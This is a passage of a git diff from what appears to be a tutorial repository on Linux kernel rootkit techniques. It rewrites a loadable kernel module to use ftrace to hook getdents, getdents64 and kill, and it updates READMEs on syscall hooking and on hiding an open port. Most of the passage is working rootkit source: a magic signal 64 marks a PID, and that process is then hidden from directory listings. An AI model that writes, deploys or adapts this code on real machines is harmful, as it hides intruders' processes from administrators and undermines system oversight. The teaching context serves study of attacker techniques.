asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order)); + /* The linux_dirent struct got removed from the kernel headers so we have to + * declare it ourselves */ + struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; + char d_name[]; + }; + + /* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */ + // int fd = regs->di; + struct linux_dirent *dirent = (struct linux_dirent *)regs->si; + // int count = regs->dx; + + /* We will need these intermediate structures for looping through the directory listing */ + struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL; + unsigned long offset = 0; + + /* We first have to actually call the real sys_getdents syscall and save it so that we can + * examine it's contents to remove anything that is prefixed by hide_pid. + * We also allocate dir_entry with the same amount of memory as */ + int ret = orig_getdents(regs); + dirent_ker = kzalloc(ret, GFP_KERNEL); + + if ( (ret <= 0) || (dirent_ker == NULL) ) + return ret; + + /* Copy the dirent argument passed to sys_getdents from userspace to kernelspace + * dirent_ker is our copy of the returned dirent struct that we can play with */ + long error; + error = copy_from_user(dirent_ker, dirent, ret); + if (error) + goto done; + + /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ + while (offset < ret) + { + /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ + current_dir = (void *)dirent_ker + offset; + + /* Compare current_dir->d_name to hide_pid - we also have to make sure that hide_pid isn't empty! */ + if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) != 0) ) + { + /* If hide_pid is contained in the first struct in the list, then we have to shift everything else up by it's size */ + if ( current_dir == dirent_ker ) + { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + /* This is the crucial step: we add the length of the current directory to that of the + * previous one. This means that when the directory structure is looped over to print/search + * the contents, the current directory is subsumed into that of whatever preceeds it. */ + previous_dir->d_reclen += current_dir->d_reclen; + } + else + { + /* If we end up here, then we didn't find hide_pid in current_dir->d_name + * We set previous_dir to the current_dir before moving on and incrementing + * current_dir at the start of the loop */ + previous_dir = current_dir; + } + + /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole + * directory listing */ + offset += current_dir->d_reclen; + } + + /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. + * Note that dirent is already in the right place in memory to be referenced by the integer + * ret. */ + error = copy_to_user(dirent, dirent_ker, ret); + if (error) + goto done; + +done: + /* Clean up and return whatever is left of the directory listing to the user */ + kfree(dirent_ker); + return ret; + } -/* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which - * determines whether read-only pages can be written to. We are modifying - * the syscall table, so we need to unset it first */ -static inline void protect_memory(void) +/* This is our hooked function for sys_kill */ +asmlinkage int hook_kill(const struct pt_regs *regs) { - unsigned long cr0 = read_cr0(); - set_bit(16, &cr0); - cr0_write(cr0); + pid_t pid = regs->di; + int sig = regs->si; + + if ( sig == 64 ) + { + /* If we receive the magic signal, then we just sprintf the pid + * from the intercepted arguments into the hide_pid string */ + printk(KERN_INFO "rootkit: hiding process with pid %d\n", pid); + sprintf(hide_pid, "%d", pid); + return 0; + } + + return orig_kill(regs); +} +#else +static asmlinkage long (*orig_getdents64)(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count); +static asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent *dirent, unsigned int count); +static asmlinkage long (*orig_kill)(pid_t pid, int sig); + +static asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count) +{ + /* We will need these intermediate structures for looping through the directory listing */ + struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL; + unsigned long offset = 0; + + /* We first have to actually call the real sys_getdents64 syscall and save it so that we can + * examine it's contents to remove anything that is prefixed by hide_pid. + * We also allocate dir_entry with the same amount of memory as */ + int ret = orig_getdents64(fd, dirent, count); + dirent_ker = kzalloc(ret, GFP_KERNEL); + + if ( (ret <= 0) || (dirent_ker == NULL) ) + return ret; + + /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace + * dirent_ker is our copy of the returned dirent struct that we can play with */ + long error; + error = copy_from_user(dirent_ker, dirent, ret); + if (error) + goto done; + + /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ + while (offset < ret) + { + /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ + current_dir = (void *)dirent_ker + offset; + + /* Compare current_dir->d_name to hide_pid - we also have to make sure that hide_pid isn't empty! */ + if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) != 0) ) + { + /* If hide_pid is contained in the first struct in the list, then we have to shift everything else up by it's size */ + if ( current_dir == dirent_ker ) + { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + /* This is the crucial step: we add the length of the current directory to that of the + * previous one. This means that when the directory structure is looped over to print/search + * the contents, the current directory is subsumed into that of whatever preceeds it. */ + previous_dir->d_reclen += current_dir->d_reclen; + } + else + { + /* If we end up here, then we didn't find hide_pid in current_dir->d_name + * We set previous_dir to the current_dir before moving on and incrementing + * current_dir at the start of the loop */ + previous_dir = current_dir; + } + + /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole + * directory listing */ + offset += current_dir->d_reclen; + } + + /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. + * Note that dirent is already in the right place in memory to be referenced by the integer + * ret. */ + error = copy_to_user(dirent, dirent_ker, ret); + if (error) + goto done; + +done: + /* Clean up and return whatever is left of the directory listing to the user */ + kfree(dirent_ker); + return ret; } -static inline void unprotect_memory(void) +static asmlinkage int hook_getdents(unsigned int fd, struct linux_dirent *dirent, unsigned int count) { - unsigned long cr0 = read_cr0(); - clear_bit(16, &cr0); - cr0_write(cr0); + /* This is an old structure that isn't included in the kernel headers anymore, so we + * have to declare it ourselves */ + struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; + char d_name[]; + }; + /* We will need these intermediate structures for looping through the directory listing */ + struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL; + unsigned long offset = 0; + + /* We first have to actually call the real sys_getdents syscall and save it so that we can + * examine it's contents to remove anything that is prefixed by hide_pid. + * We also allocate dir_entry with the same amount of memory as */ + int ret = orig_getdents(fd, dirent, count); + dirent_ker = kzalloc(ret, GFP_KERNEL); + + if ( (ret <= 0) || (dirent_ker == NULL) ) + return ret; + + /* Copy the dirent argument passed to sys_getdents from userspace to kernelspace + * dirent_ker is our copy of the returned dirent struct that we can play with */ + long error; + error = copy_from_user(dirent_ker, dirent, ret); + if (error) + goto done; + + /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ + while (offset < ret) + { + /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ + current_dir = (void *)dirent_ker + offset; + + /* Compare current_dir->d_name to hide_pid - we also have to make sure that hide_pid isn't empty! */ + if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) != 0) ) + { + /* If hide_pid is contained in the first struct in the list, then we have to shift everything else up by it's size */ + if ( current_dir == dirent_ker ) + { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + /* This is the crucial step: we add the length of the current directory to that of the + * previous one. This means that when the directory structure is looped over to print/search + * the contents, the current directory is subsumed into that of whatever preceeds it. */ + previous_dir->d_reclen += current_dir->d_reclen; + } + else + { + /* If we end up here, then we didn't find hide_pid in current_dir->d_name + * We set previous_dir to the current_dir before moving on and incrementing + * current_dir at the start of the loop */ + previous_dir = current_dir; + } + + /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole + * directory listing */ + offset += current_dir->d_reclen; + } + + /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. + * Note that dirent is already in the right place in memory to be referenced by the integer + * ret. */ + error = copy_to_user(dirent, dirent_ker, ret); + if (error) + goto done; + +done: + /* Clean up and return whatever is left of the directory listing to the user */ + kfree(dirent_ker); + return ret; } +asmlinkage int hook_kill(pid_t pid, int sig) +{ + if ( sig == 64 ) + { + /* If we receive the magic signal, then we just sprintf the pid + * from the intercepted arguments into the hide_pid string */ + printk(KERN_INFO "rootkit: hiding process with pid %d\n", pid); + sprintf(hide_pid, "%d", pid); + return 0; + } + + return orig_kill(pid, sig); +} +#endif + +/* Declare the struct that ftrace needs to hook the syscall */ +static struct ftrace_hook hooks[] = { + HOOK("sys_getdents64", hook_getdents64, &orig_getdents64), + HOOK("sys_getdents", hook_getdents, &orig_getdents), + HOOK("sys_kill", hook_kill, &orig_kill), +}; + /* Module initialization function */ static int __init rootkit_init(void) { - /* Grab the syscall table */ - __sys_call_table = kallsyms_lookup_name("sys_call_table"); + /* Hook the syscall and print to the kernel buffer */ + int err; + err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); + if(err) + return err; - /* Grab the function pointer to the real sys_getdents64 syscall */ - orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64]; - orig_kill = (orig_kill_t)__sys_call_table[__NR_kill]; + printk(KERN_INFO "rootkit: Loaded >:-)\n"); - printk(KERN_INFO "rootkit: Loaded >:-)\n"); - printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table); - printk(KERN_DEBUG "rootkit: getdents64 @ 0x%lx\n", orig_getdents64); - printk(KERN_DEBUG "rootkit: kill @ 0x%lx\n", orig_kill); - - unprotect_memory(); - - printk(KERN_INFO "rootkit: hooking getdents64 syscall\n"); - printk(KERN_INFO "rootkit: hooking kill syscall\n"); - /* Patch the function pointer to sys_getdents64 with our hook instead */ - __sys_call_table[__NR_getdents64] = (unsigned long)hook_getdents64; - __sys_call_table[__NR_kill] = (unsigned long)hook_kill; - - protect_memory(); - - return 0; + return 0; } static void __exit rootkit_exit(void) { - unprotect_memory(); - - printk(KERN_INFO "rootkit: restoring getdents64 syscall\n"); - printk(KERN_INFO "rootkit: restoring kill syscall\n"); - __sys_call_table[__NR_getdents64] = (unsigned long)orig_getdents64; - __sys_call_table[__NR_kill] = (unsigned long)orig_kill; - - protect_memory(); - - printk(KERN_INFO "rootkit: Unloaded :-(\n"); + /* Unhook and restore the syscall and print to the kernel buffer */ + fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); + printk(KERN_INFO "rootkit: Unloaded :-(\n"); } module_init(rootkit_init); diff --git a/3_RootkitTechniques/3.6_hiding_ports/README.md b/3_RootkitTechniques/3.6_hiding_ports/README.md index f5f714e..c379165 100644 --- a/3_RootkitTechniques/3.6_hiding_ports/README.md +++ b/3_RootkitTechniques/3.6_hiding_ports/README.md @@ -4,13 +4,9 @@ Most linux applications that search for local open ports (netstat included) use the `/proc/net/tcp` pseudo-file to do so. In particular, parsing this file is handled by `tcp4_seq_show` in [`net/ipv4/tcp_ipv4.c`](https://github.com/torvalds/linux/blob/a1d21081a60dfb7fddf4a38b66d9cef603b317a9/net/ipv4/tcp_ipv4.c#L2600). By hooking this function, we can choose to hide a particular open port from userspace. -However, hooking a kernel function is nowhere near as simple as hooking a syscall. Syscalls are easy because we just look up the memory address of the syscall table and modify the corresponding entry to point a different function that we control. While `tcp4_seq_show` does indeed appear in `/proc/kallsymms` (which means we can use `kallsyms_lookup_name()` again), we don't have anything to modify because the address returned is the function pointer itself, rather than a pointer to a pointer! +As far as the function hooking goes, it's quite simple. We give a function declaration for the original `tcp4_seq_show()`, then we define the function `hook_tcp4_seq_show()`. This hook simply checks to see if the local port number given by `sk->sk_num` is 8080 (`0x1f90` in hex), and if so it just returns `0`. Otherwise, we go ahead and pass the given arguments to the real `tcp4_seq_show()`. -The solution is to use [ftrace](https://www.kernel.org/doc/html/latest/trace/ftrace.html). While it's meant to be used for debugging the kernel, we can use it to replace the `tcp4_seq_show` function in memory with a hook instead. If you want to understand what's going on with ftrace, then I suggest taking a look at the documentation linked. There's a bunch of helper functions in [`ftrace_helper.h`](./ftrace_helper.h), so that we can focus on the actual function hook in [`rootkit.c`](./rootkit.c). - -As far as the function hooking goes, it's quite simple. We give a function declaration for the original `tcp4_seq_show()`, then we define the function `hook_tcp4_seq_show()`. This hook simply checks to see if the local port number given by `sk->sk_num` is 8080 (`0x1f90` in hex), and if so it just returns `0`. Otherwise, we go ahead and pass the given arguments to the real `tcp4_seq_show()`. Note that because we aren't hook a syscall this time, we don't have to worry about `pt_regs` because the arguments are passed on the stack rather than in registers! - -Then, we define the `hooks` array which contains `ftrace_hook` structs containing the name, hook function address and original function address. If we wanted to, we could add more hooks to this array and, as long as the original and hook functions are defined as for `tcp4_seq_show()`, they would be hooked alongside. Once we enter the module initialization function, we just call the `fh_install_hooks()` function defined in [`ftrace_helper.h`](./ftrace_helper.h) and pass the `hooks` array to it. This does all the heavy lifting for us. Likewise, when module exit function gets called, we just call the `fh_remove_hooks()` function. +Note that because we aren't hooking a syscall this time, we don't have to worry about `pt_regs` because the arguments are passed on the stack rather than in registers! To use: * Build with `make` diff --git a/3_RootkitTechniques/README.md b/3_RootkitTechniques/README.md new file mode 100644 index 0000000..d71a195 --- /dev/null +++ b/3_RootkitTechniques/README.md @@ -0,0 +1,9 @@ +# Linux Kernel Hacking + +## 3: Rootkit Techniques + +There are two main way to hook syscalls via a kernel module. The first, old-fashioned way is to directly modify the `sys_call_table` structure in kernel memory. This is done by modifying the function pointer in this table corresponding to the syscall we're targetting to temporarily point to our own version. By saving the original value of this pointer we can both maintain the original functionality as well as restore the table when we're done. This is what is done in [Section 3.1](./3.1_syscall_hooking). + +The other more modern method is to use [ftrace](https://www.kernel.org/doc/html/latest/trace/ftrace.html). While it's meant to be used for debugging the kernel, we can use it to replace the arbitrary functions in memory with a hook instead. If you want to understand in detail what's going on with ftrace, then I suggest taking a look at the documentation linked. + +As far as the function hooking goes, it's quite simple. We give a function declaration for the original function, then we write the function hook. Then, we define the `hooks` array which contains `ftrace_hook` structs containing the name, hook function address and original function address. Once we enter the module initialization function, we just call the `fh_install_hooks()` function defined in `ftrace_helper.h` and pass the `hooks` array to it. This does all the heavy lifting for us. Likewise, when module exit function gets called, we just call the `fh_remove_hooks()` function.